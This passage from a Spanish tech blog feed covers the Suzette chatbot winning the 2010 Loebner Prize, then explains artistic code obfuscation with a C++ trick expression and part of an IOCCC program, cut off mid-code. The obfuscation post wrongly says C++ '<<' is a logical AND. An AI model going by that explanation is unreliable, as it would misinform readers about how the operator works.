<blockquote><p><strong>New Scientist</strong>: Felicitaciones por ganar el concurso del Premio Loebner.<br />
<strong>Suzette</strong>: Vamos a dejarlo ahí. No lo sé. ¿Cuáles son sus aficiones?<br />
<strong>New Scientist</strong>: Ummm&#8230;<br />
<strong>Suzette</strong>: Mis aficiones son coser, la impresión de tejidos, la cerámica, la joyería&#8230;, lo que se podrían llamar artes portátiles.<br />
<strong>New Scientist</strong>: ¿Te sorprende que puedas engañar a un juez humano?<br />
<strong>Suzette</strong>: No, no me sorprende. </p></blockquote>
<p><a href="http://en.wikipedia.org/wiki/Robby_Garner">Robby Garner</a>, un investigador independiente en el procesamiento del lenguaje natural y ganador del concurso en 1998 y en 1999 con su chatbot Albert, ha asegurado que <strong>este año ha sido uno de los mejores hasta ahora en términos de complejidad de los robots y de ingeniería</strong>. Pero también comenta que <strong>un juez engañado no es necesariamente un signo de un software inteligente</strong>. Los participantes humanos tratan de engañar también a los jueces, <strong>procurando imitar a un robot escribiendo</strong>. Suzette fue emparejada con uno de esos &#8220;robots humanos&#8221; en la ronda final, lo que le ayudó a ganar más fácilmente. </p>
<p>En <a href="http://www.loebner.net/Prizef/loebner-prize.html">el sitio web del premio Loebner</a> se puede consultar <strong>la lista de ganadores de las diversas ediciones anuales</strong>, además de toda la información concerniente al concurso. Asimismo, disponen de las <strong>transcripciones preparadas para descargar</strong> y de <a href="http://loebner.net/Prizef/2009_Contest/LoebnerPlayer_2009.exe">un software específico</a> que permite visualizar esas trascripciones como si de en tiempo real se tratara, observando las preguntas y respuestas de jueces, humanos y máquinas mientras se escriben en pantalla, permitiendo variar la velocidad. Es curioso ver <strong>cómo los <em>chatbot</em> en ocasiones escriben mal ciertas palabras</strong> para, enseguida, volver atrás borrando y corregir el fallo como lo haría un escribiente humano. <strong>Todo es válido para engañar al juez</strong>. </p>
<p>El concurso se inició por primera vez en 1990, patrocinado por <a href="http://en.wikipedia.org/wiki/Hugh_Loebner">Hugh Loebner</a> junto con el Centro de Estudios del Comportamiento de Cambridge, en Massachusetts, Estados Unidos. <strong>Los premios para cada año siguen una curiosa premisa</strong>. Existe una dotación de 3.000 $ para <strong>el programa más parecido a un ser humano</strong>. También hay un premio de 25.000 $ para el primer programa que los jueces <strong>no puedan distinguir de un ser humano verdadero</strong> y que, además, <strong>pueda convencerles</strong> de que la otra entidad (el humano) es, a su vez, una computadora. <strong>Este premio nunca ha sido concedido</strong>. </p>
<p>Por último, existe una recompensa 100.000 $ para el primer programa que <strong>los jueces no puedan distinguir de un ser humano verdadero</strong> en un Test de Turing que incluya <strong>descifrado y comprensión de texto y entradas visuales y auditivas</strong>. Este galardón tampoco ha sido nunca otorgado y, el día que se conceda, <strong>el concurso Premio Loebner se disolverá para siempre</strong>, pues supondría el logro de la <a href="http://es.wikipedia.org/wiki/Inteligencia_artificial">inteligencia artificial</a> perfecta. </p>
<p>Sospecho yo que el día en que se conceda dicho último premio alcanzaremos un primer <a href="http://es.wikipedia.org/wiki/Valle_inquietante">valle inquietante</a>, y <strong>las computadoras dominarán el mundo</strong> y nos dirán a los humanos que nos dejemos de gilipolleces de Turing y nos pongamos a trabajar de forma esclavizada para ellas. A no ser que eso ya haya ocurrido y vivamos en Matrix, claro.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F10%2F27%2Fsuzette-el-chatbot-ganador-del-premio-loebner-2010%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/10/27/suzette-el-chatbot-ganador-del-premio-loebner-2010/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Suzette, el chatbot ganador del Premio Loebner 2010" data-url="http://www.teknoplof.com/2010/10/27/suzette-el-chatbot-ganador-del-premio-loebner-2010/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/10/27/suzette-el-chatbot-ganador-del-premio-loebner-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Código ofuscado</title>
		<link>http://www.teknoplof.com/2010/10/19/codigo-ofuscado/</link>
		<comments>http://www.teknoplof.com/2010/10/19/codigo-ofuscado/#comments</comments>
		<pubDate>Tue, 19 Oct 2010 10:38:04 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[código ofuscado]]></category>
		<category><![CDATA[ofuscación]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=3454</guid>
		<description><![CDATA[En el área del desarrollo informático siempre se aconseja a los programadores que su código sea lo más claro y legible posible. Los alumnos instruidos en estas materias son adiestrados no sólo para introducir de manera profusa y prolija comentarios en los archivos fuente de sus aplicaciones, sino también para procurar que ese código sea [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_3462" class="wp-caption alignleft" style="width: 178px"><img class="size-full wp-image-3462" title="Ofuscación" src="http://www.teknoplof.com/wp-content/uploads/2010/10/ofus_0.png" alt="Ofuscación" width="168" height="227" /><p class="wp-caption-text">Ofuscación</p></div>En el área del desarrollo informático siempre <strong>se aconseja a los programadores que su código sea lo más claro y legible posible</strong>. Los alumnos instruidos en estas materias son adiestrados no sólo para introducir de manera profusa y prolija comentarios en los archivos fuente de sus aplicaciones, sino también para procurar que <strong>ese código sea lo más limpio, claro y simple posible</strong>, así como la documentación que lo pudiera acompañar.</p>
<p>Las razones que explican este comportamiento son de carácter práctico. Meses o años después de generar un programa <strong>debemos poder entender</strong>, prácticamente a vuela pluma, <strong>qué es lo que hace cada sentencia y cada instrucción</strong>. Más aún, y es que futuros destripadores de nuestro software han de comprender sin apenas esfuerzo lo que hemos querido hacer en cada momento y <strong>disponer de la posibilidad de realizar modificaciones</strong> sin tener que salvar una larga curva de aprendizaje. Es lo que enseña una de las primeras proposiciones de la <a href="http://www.teknoplof.com/2009/12/09/programacion-extrema/">programación extrema</a>.</p>
<p>Sin embargo, y como aquí, directamente, nos cagamos en las normas, es más que probable que <strong>a nosotros no nos interese que nadie pueda entender nuestro código</strong> en un futuro, por cuestiones de celo profesional o para evitar dejar al descubierto técnicas y algoritmos que hemos desarrollado o inventado. Esta práctica de ocultación de detalles es muy normal en el mundo del desarrollo de virus informáticos, pero también <strong>se ha convertido en todo un arte</strong> y hasta en una competición internacional en toda regla. <strong>El método se conoce como ofuscación de código</strong>.</p>
<p>El <a href="http://es.wikipedia.org/wiki/C%C3%B3digo_ofuscado">código ofuscado</a> es aquel tan <strong>intrincado, enredado, enrevesado y confuso que resulta prácticamente imposible su descifrado</strong> incluso por la madre que lo parió. Y no requiere de técnicas criptográficas ni de complejos cifrados, <strong>sólo de la pericia del programador</strong>, de su imaginación y de su capacidad para liar sobre liado. Aunque bien es cierto que existe software a tal efecto que permite ofuscar ya no código fuente, sino también código objeto compilado con <strong>el fin de evitar al máximo técnicas de </strong><a href="http://es.wikipedia.org/wiki/Ingenier%C3%ADa_inversa"><strong>ingeniería inversa</strong></a> que pudieran revertir el proceso de compilación y dar con un programa en texto plano. Pero eso es otra historia.</p>
<p>De lo que hablaremos aquí será del código ofuscado artístico, <strong>el que permite distinguir a un buen programador de otro mediocre</strong>. Y es que existen verdaderas joyas programáticas y auténticas obras de arte visuales que, además de ofuscar, alegran la vista a todo aquel que es capaz de desenmarañar o desentrañar el más mínimo secreto escondido.</p>
<p>Técnicas de ofuscación de código existen muchas, aunque <strong>la mayoría de ellas pasan por la destreza del programador</strong> para embarullar el texto. Una primera y sencilla opción podría ser, por ejemplo, llamar a las variables, funciones o procedimientos <strong>con nombres reservados del lenguaje</strong>, algo modificados evidentemente. El siguiente ejemplo muestra la declaración en C++ de una variable de tipo entero a la que hemos denominado <code>int_</code> para despistar.</p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax8"></a><a style="wp-synhighlighter-title" href="#codesyntax8"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código C++</a></div><div class="wp-synhighlighter-inner"><div class="cpp" style="font-family:monospace;"><span style="color: #0000ff;">int</span> int_<span style="color: #008080;">;</span></div></div></div></p>
<p>Esto, que parece una tontería a simple vista, puede llegar a resultar asaz lioso en códigos como el que sigue, en el que se representa el número 10 de una forma un tanto peculiar.</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax9"></a><a style="wp-synhighlighter-title" href="#codesyntax9"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código C++</a></div><div class="wp-synhighlighter-inner"><pre class="cpp" style="font-family:monospace;"><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span><span style="color: #008000;">&#40;</span>int_<span style="color: #000040;">-</span>int_<span style="color: #008000;">&#41;</span><span style="color: #000080;">&lt;&lt;</span><span style="color: #000040;">!</span><span style="color: #008000;">&#40;</span>int_<span style="color: #000040;">-</span>int_<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #000080;">&lt;&lt;</span><span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span><span style="color: #008000;">&#40;</span>int_<span style="color: #000040;">-</span>int_<span style="color: #008000;">&#41;</span><span style="color: #000080;">&lt;&lt;</span><span style="color: #000040;">!</span><span style="color: #008000;">&#40;</span>int_<span style="color: #000040;">-</span>int_<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #000040;">|</span><span style="color: #008000;">&#40;</span><span style="color: #000040;">!</span><span style="color: #008000;">&#40;</span>int_<span style="color: #000040;">-</span>int_<span style="color: #008000;">&#41;</span><span style="color: #000080;">&lt;&lt;</span><span style="color: #000040;">!</span><span style="color: #008000;">&#40;</span>int_<span style="color: #000040;">-</span>int_<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span></pre></div></div>
<p>El signo de admiración final (<code>!</code>) en C++ es un <code>NOT</code> booleano, y la barra vertical (<code>|</code>) un <code>OR</code> binario. Por su lado, el doble signo de menor que (<code>&lt;&lt;</code>) especifica un <code>AND</code> lógico. <strong>Todo este barullo da como resultado el valor <code>10</code></strong>; ahí es nada. Si en el fuente de un programa, <strong>cada vez que necesitemos escribir un diez lo sustituimos por toda esa línea</strong>, posibles fisgones posteriores del código se las van a ver y desear para descifrarlo. Eso es ofuscar con un par de pelotas.</p>
<p><strong>Una desventaja importante de la ofuscación es que el mantenimiento y la solución de problemas</strong> de una aplicación son tareas más difíciles. En un código bien ofuscado, los nombres de todos los tipos, métodos y campos se pueden cambiar de sus nombres informativos a nombres semialeatorios sin significado, <strong>lo que complica extraordinariamente la depuración del código</strong> en caso de errores de ejecución y, asimismo, el sostenimiento y escalado de la propia aplicación.</p>
<p>A pesar de ello, muchos desarrolladores prefieren ofuscar su código y <strong>utilizar herramientas específicas para descodificar los informes de errores enviados en forma de seguimientos de pilas</strong>; léase <a href="http://www.preemptive.com/products/dotfuscator/overview">Dotfuscator</a> para .NET, <a href="http://proguard.sourceforge.net/">Proguard</a> para Java o <a href="http://www.raizlabs.com/software/phpobfuscator/">PHP Obfuscator</a> para los script en PHP.</p>
<p>Se dice que <strong>algunos lenguajes de programación se prestan más a la ofuscación que otros</strong>, como por ejemplo C, C++ o Perl. Incluso, <strong>existen lenguajes que nacieron con la ofuscación como premisa</strong>, además de otras características extrañas. Son los denominados <a href="http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n_esot%C3%A9rico">lenguajes de programación esotéricos</a>, que sólo el nombre ya da canguelo.</p>
<p>La ofuscación de código, como decíamos al principio, <strong>es una técnica bastante utilizada en la programación de virus</strong>, aunque también se sirven de ella los generadores de spam y de sitios web fraudulentos <strong>para esconder las verdaderas acciones de los guiones en Javascript o del propio código HTML</strong> de la página. Sin embargo, existe una tendencia más lúdica y divertida que convierte al código ofuscado en un arte con mayúsculas.</p>
<p>El <a href="http://www.ioccc.org/">IOCCC</a> (<em>International Obfuscated C Code Contest</em>) es una <strong>competición internacional de código ofuscado en C</strong>, aunque me da la impresión de que llevan unos cuantos años fuera de toda actividad. Desde su web <strong>se pueden descargar diversos códigos de los ganadores</strong> de las distintas ediciones anuales. Podremos encontrar, pues, maravillas como las siguientes líneas, las cuales corresponden al código fuente de un juego de tres en raya. Obsérvese la increíble ofuscación prácticamente indescifrable.</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax10"></a><a style="wp-synhighlighter-title" href="#codesyntax10"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código C</a></div><div class="wp-synhighlighter-inner"><pre class="c" style="font-family:monospace;">  a<span style="color: #009900;">&#40;</span>X<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #808080; font-style: italic;">/*/X=-  a(X){/*/</span>X<span style="color: #339933;">=-</span>
  <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>F<span style="color: #339933;">;</span>X<span style="color: #339933;">=-</span>  <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>F<span style="color: #339933;">;</span>X<span style="color: #339933;">=-</span>
  <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>F<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #808080; font-style: italic;">/*/  -1;F;}/*/</span>
<span style="color: #993333;">char</span><span style="color: #339933;">*</span>z<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #009900;">&#123;</span><span style="color: #ff0000;">&quot;char*z[]={&quot;</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;a(X){/*/X=-&quot;</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-1;F;X=-&quot;</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-1;F;}/*/&quot;</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;9999999999    &quot;</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">&quot;int q,i,j,k,X,O=0,H;S(x)int*x;{X+=X;O+=O;*x+1?*x+2||X++:O++;*x=1;}L(n){for(*&quot;</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">&quot;z[i=1]=n+97;i&lt;4;i++)M(256),s(i),M(128),s(i),M(64),N;X*=8;O*=8;}s(R){char*r=z&quot;</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">&quot;[R];for(q&amp;&amp;Q;*r;)P(*r++);q&amp;&amp;(Q,P(44));}M(m){P(9);i-2||P(X&amp;m?88:O&amp;m?48:32);P(&quot;</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">&quot;9);}y(A){for(j=8;j;)~A&amp;w[--j]||(q=0);}e(W,Z){for(i-=i*q;i&lt;9&amp;&amp;q;)y(W|(1&lt;&lt;i++&amp;&quot;</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">&quot;~Z));}R(){for(k=J[*J-48]-40;k;)e(w[k--],X|O);}main(u,v)char**v;{a(q=1);b(1);&quot;</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">&quot;c(1);*J=--u?O?*J:*v[1]:53;X|=u&lt;&lt;57-*v[u];y(X);K=40+q;q?e(O,X),q&amp;&amp;(K='|'),e(X&quot;</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">&quot;,O),R(),O|=1&lt;&lt;--i:J[*J-48+(X=O=0)]--;L(q=0);for(s(i=0);q=i&lt;12;)s(i++),i&gt;4&amp;&amp;N&quot;</span><span style="color: #339933;">,</span>
<span style="color: #ff0000;">&quot;;s(q=12);P(48);P('}');P(59);N;q=0;L(1);for(i=5;i&lt;13;)s(i++),N;L(2);}&quot;</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
  b<span style="color: #009900;">&#40;</span>X<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #808080; font-style: italic;">/*/X=-  b(X){/*/</span>X<span style="color: #339933;">=-</span>
  <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>F<span style="color: #339933;">;</span>X<span style="color: #339933;">=-</span>  <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>F<span style="color: #339933;">;</span>X<span style="color: #339933;">=-</span>
  <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>F<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #808080; font-style: italic;">/*/  -1;F;}/*/</span>
<span style="color: #993333;">int</span> q<span style="color: #339933;">,</span>i<span style="color: #339933;">,</span>j<span style="color: #339933;">,</span>k<span style="color: #339933;">,</span>X<span style="color: #339933;">,</span>O<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>H<span style="color: #339933;">;</span>S<span style="color: #009900;">&#40;</span>x<span style="color: #009900;">&#41;</span><span style="color: #993333;">int</span><span style="color: #339933;">*</span>x<span style="color: #339933;">;</span><span style="color: #009900;">&#123;</span>X<span style="color: #339933;">+=</span>X<span style="color: #339933;">;</span>O<span style="color: #339933;">+=</span>O<span style="color: #339933;">;*</span>x<span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #339933;">?*</span>x<span style="color: #339933;">+</span><span style="color: #0000dd;">2</span><span style="color: #339933;">||</span>X<span style="color: #339933;">++:</span>O<span style="color: #339933;">++;*</span>x<span style="color: #339933;">=</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>L<span style="color: #009900;">&#40;</span>n<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>
z<span style="color: #009900;">&#91;</span>i<span style="color: #339933;">=</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span>n<span style="color: #339933;">+</span><span style="color: #0000dd;">97</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">4</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>M<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">256</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>s<span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>M<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">128</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>s<span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>M<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">64</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>N<span style="color: #339933;">;</span>X<span style="color: #339933;">*=</span><span style="color: #0000dd;">8</span><span style="color: #339933;">;</span>O<span style="color: #339933;">*=</span><span style="color: #0000dd;">8</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>s<span style="color: #009900;">&#40;</span>R<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #993333;">char</span><span style="color: #339933;">*</span>r<span style="color: #339933;">=</span>z
<span style="color: #009900;">&#91;</span>R<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>for<span style="color: #009900;">&#40;</span>q<span style="color: #339933;">&amp;&amp;</span>Q<span style="color: #339933;">;*</span>r<span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span>P<span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>r<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>q<span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span>Q<span style="color: #339933;">,</span>P<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">44</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>M<span style="color: #009900;">&#40;</span>m<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>P<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">9</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>i<span style="color: #339933;">-</span><span style="color: #0000dd;">2</span><span style="color: #339933;">||</span>P<span style="color: #009900;">&#40;</span>X<span style="color: #339933;">&amp;</span>m<span style="color: #339933;">?</span><span style="color: #0000dd;">88</span><span style="color: #339933;">:</span>O<span style="color: #339933;">&amp;</span>m<span style="color: #339933;">?</span><span style="color: #0000dd;">48</span><span style="color: #339933;">:</span><span style="color: #0000dd;">32</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>P<span style="color: #009900;">&#40;</span>
<span style="color: #0000dd;">9</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>y<span style="color: #009900;">&#40;</span>A<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>j<span style="color: #339933;">=</span><span style="color: #0000dd;">8</span><span style="color: #339933;">;</span>j<span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span>~A<span style="color: #339933;">&amp;</span>w<span style="color: #009900;">&#91;</span><span style="color: #339933;">--</span>j<span style="color: #009900;">&#93;</span><span style="color: #339933;">||</span><span style="color: #009900;">&#40;</span>q<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>e<span style="color: #009900;">&#40;</span>W<span style="color: #339933;">,</span>Z<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">-=</span>i<span style="color: #339933;">*</span>q<span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">9</span><span style="color: #339933;">&amp;&amp;</span>q<span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span>y<span style="color: #009900;">&#40;</span>W<span style="color: #339933;">|</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #339933;">&lt;&lt;</span>i<span style="color: #339933;">++&amp;</span>
~Z<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>R<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>k<span style="color: #339933;">=</span>J<span style="color: #009900;">&#91;</span><span style="color: #339933;">*</span>J<span style="color: #339933;">-</span><span style="color: #0000dd;">48</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-</span><span style="color: #0000dd;">40</span><span style="color: #339933;">;</span>k<span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span>e<span style="color: #009900;">&#40;</span>w<span style="color: #009900;">&#91;</span>k<span style="color: #339933;">--</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>X<span style="color: #339933;">|</span>O<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>main<span style="color: #009900;">&#40;</span>u<span style="color: #339933;">,</span>v<span style="color: #009900;">&#41;</span><span style="color: #993333;">char</span><span style="color: #339933;">**</span>v<span style="color: #339933;">;</span><span style="color: #009900;">&#123;</span>a<span style="color: #009900;">&#40;</span>q<span style="color: #339933;">=</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>b<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
c<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;*</span>J<span style="color: #339933;">=--</span>u<span style="color: #339933;">?</span>O<span style="color: #339933;">?*</span>J<span style="color: #339933;">:*</span>v<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">:</span><span style="color: #0000dd;">53</span><span style="color: #339933;">;</span>X<span style="color: #339933;">|=</span>u<span style="color: #339933;">&lt;&lt;</span><span style="color: #0000dd;">57</span><span style="color: #339933;">-*</span>v<span style="color: #009900;">&#91;</span>u<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>y<span style="color: #009900;">&#40;</span>X<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>K<span style="color: #339933;">=</span><span style="color: #0000dd;">40</span><span style="color: #339933;">+</span>q<span style="color: #339933;">;</span>q<span style="color: #339933;">?</span>e<span style="color: #009900;">&#40;</span>O<span style="color: #339933;">,</span>X<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>q<span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span>K<span style="color: #339933;">=</span><span style="color: #ff0000;">'|'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>e<span style="color: #009900;">&#40;</span>X
<span style="color: #339933;">,</span>O<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>R<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>O<span style="color: #339933;">|=</span><span style="color: #0000dd;">1</span><span style="color: #339933;">&lt;&lt;--</span>i<span style="color: #339933;">:</span>J<span style="color: #009900;">&#91;</span><span style="color: #339933;">*</span>J<span style="color: #339933;">-</span><span style="color: #0000dd;">48</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span>X<span style="color: #339933;">=</span>O<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">--;</span>L<span style="color: #009900;">&#40;</span>q<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>for<span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>q<span style="color: #339933;">=</span>i<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">12</span><span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span>s<span style="color: #009900;">&#40;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>i<span style="color: #339933;">&gt;</span><span style="color: #0000dd;">4</span><span style="color: #339933;">&amp;&amp;</span>N
<span style="color: #339933;">;</span>s<span style="color: #009900;">&#40;</span>q<span style="color: #339933;">=</span><span style="color: #0000dd;">12</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>P<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">48</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>P<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'}'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>P<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">59</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>N<span style="color: #339933;">;</span>q<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>L<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>for<span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #0000dd;">5</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">13</span><span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span>s<span style="color: #009900;">&#40;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>N<span style="color: #339933;">;</span>L<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
  c<span style="color: #009900;">&#40;</span>X<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #808080; font-style: italic;">/*/X=-  c(X){/*/</span>X<span style="color: #339933;">=-</span>
